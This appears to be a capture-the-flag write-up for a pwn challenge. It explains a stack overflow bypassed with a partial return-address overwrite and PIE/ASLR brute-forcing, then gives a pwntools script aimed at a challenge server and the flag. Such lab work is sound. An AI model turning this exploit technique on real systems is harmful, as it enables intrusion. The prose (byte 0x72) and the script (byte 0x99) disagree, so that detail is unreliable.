Post

pwner

pwner

Information

  • category: pwn
  • points: 1000

Description

None

Write-up

We start by analyzing the binary’s control flow. The vulnerable function vuln() reads user input using the read() syscall. We also notice a hidden function called print_flag() — which, if executed, prints the flag. Our objective is to redirect execution to print_flag().

Step 1: Finding the Overflow

Using pwndbg to inspect the stack, we find that the return address sits 52 bytes after the beginning of the buffer. That means we can overwrite the return address by inputting 52 bytes of junk followed by our payload.

1
> dist $rsp 0x...  # Reveals 52-byte offset to RIP

Step 2: The Challenge – PIE and ASLR

However, there’s a catch: * The binary is PIE-enabled, so addresses (including print_flag) are randomized each time.

  • There’s no infoleak, so we can’t use full ROP or leak base addresses.
  • We also can’t fully control the return address because read() limits input size and ASLR hides the high bytes of addresses. So full control is not possible, but we can still exploit this using a partial overwrite.

Step 3: Partial Overwrite Strategy

Since the address space is randomized only at page granularity (on 64-bit systems with PIE), the low byte (and possibly more) of a function like print_flag() often stays the same between executions. For example, if print_flag() is at 0x556a7724e072, then the last byte 0x72 may be stable across runs. So we:

  1. Send 52 bytes of junk to reach the return address.
  2. Overwrite only the lowest byte of the return address with the known final byte of print_flag() (e.g., 0x72).
  3. Brute-force the upper bytes over multiple runs.

Eventually, the full return address aligns to print_flag(). This is called a partial overwrite combined with brute-force of the randomized higher bits.

Step 4: Triggering the Overwrite

The function vuln() is reused (called again from main() or itself), which gives us multiple attempts. Each time, we do the same partial overwrite until the process crashes or the return lands inside print_flag().

Result Eventually, the process hits the correct base address alignment and jumps into print_flag(), revealing the flag.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwner_patched")

context.binary = exe
context.terminal = "kitty"
context.log_level = 'debug'
offset_ret = 52

def conn():
    if args.LOCAL:
        r = process([exe.path])
        #gdb.attach(r)
        return r

    else:
        return remote("cyberwarriors-challenges.skidz.io", 7000)

def payload(r,i):
    fixed = b"\x99"
    payload = b"A" * offset_ret + b"\x99" + p8(i)
    r.send(payload)


def main():
    while True:
        for i in range(0x0,0xff):
            r = conn()
            payload(r,i)
            res = r.recvall(timeout=5)
            if b"NCSC{" in res:
                print(res)
                break
        break


if __name__ == "__main__":
    main()

Flag

Flag:NCSC{y3545lrc4nb3byp4553dw17h0u7l34k!}

This post is licensed under CC BY 4.0 by the author.